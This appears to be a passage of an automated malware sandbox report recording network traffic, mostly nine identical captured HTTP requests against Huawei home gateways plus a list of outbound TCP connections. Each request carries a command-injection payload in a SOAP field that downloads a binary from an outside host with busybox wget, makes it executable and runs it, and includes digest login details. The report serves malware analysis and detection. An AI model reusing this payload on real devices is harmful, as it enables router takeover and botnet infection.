Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 73 63 61 6e 2e 63 68 72 6f 6d 69 65 73 2e 63 66 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 39 78 38 33 48 45 41 46 44 2f 6d 69 70 73 2e 6a 61 64 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g scan.chromies.cf -l /tmp/binary -r /9x83HEAFD/mips.jade; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 73 63 61 6e 2e 63 68 72 6f 6d 69 65 73 2e 63 66 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 39 78 38 33 48 45 41 46 44 2f 6d 69 70 73 2e 6a 61 64 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g scan.chromies.cf -l /tmp/binary -r /9x83HEAFD/mips.jade; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 73 63 61 6e 2e 63 68 72 6f 6d 69 65 73 2e 63 66 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 39 78 38 33 48 45 41 46 44 2f 6d 69 70 73 2e 6a 61 64 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g scan.chromies.cf -l /tmp/binary -r /9x83HEAFD/mips.jade; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 73 63 61 6e 2e 63 68 72 6f 6d 69 65 73 2e 63 66 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 39 78 38 33 48 45 41 46 44 2f 6d 69 70 73 2e 6a 61 64 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g scan.chromies.cf -l /tmp/binary -r /9x83HEAFD/mips.jade; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 73 63 61 6e 2e 63 68 72 6f 6d 69 65 73 2e 63 66 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 39 78 38 33 48 45 41 46 44 2f 6d 69 70 73 2e 6a 61 64 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g scan.chromies.cf -l /tmp/binary -r /9x83HEAFD/mips.jade; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 73 63 61 6e 2e 63 68 72 6f 6d 69 65 73 2e 63 66 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 39 78 38 33 48 45 41 46 44 2f 6d 69 70 73 2e 6a 61 64 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g scan.chromies.cf -l /tmp/binary -r /9x83HEAFD/mips.jade; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 73 63 61 6e 2e 63 68 72 6f 6d 69 65 73 2e 63 66 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 39 78 38 33 48 45 41 46 44 2f 6d 69 70 73 2e 6a 61 64 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g scan.chromies.cf -l /tmp/binary -r /9x83HEAFD/mips.jade; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 73 63 61 6e 2e 63 68 72 6f 6d 69 65 73 2e 63 66 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 39 78 38 33 48 45 41 46 44 2f 6d 69 70 73 2e 6a 61 64 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g scan.chromies.cf -l /tmp/binary -r /9x83HEAFD/mips.jade; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 73 63 61 6e 2e 63 68 72 6f 6d 69 65 73 2e 63 66 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 39 78 38 33 48 45 41 46 44 2f 6d 69 70 73 2e 6a 61 64 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g scan.chromies.cf -l /tmp/binary -r /9x83HEAFD/mips.jade; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown TCP traffic detected without corresponding DNS query: 156.33.249.205
Source: unknown TCP traffic detected without corresponding DNS query: 156.239.174.163
Source: unknown TCP traffic detected without corresponding DNS query: 156.80.167.199
Source: unknown TCP traffic detected without corresponding DNS query: 156.11.56.161
Source: unknown TCP traffic detected without corresponding DNS query: 156.62.136.183
Source: unknown TCP traffic detected without corresponding DNS query: 156.162.246.129
Source: unknown TCP traffic detected without corresponding DNS query: 156.208.157.91
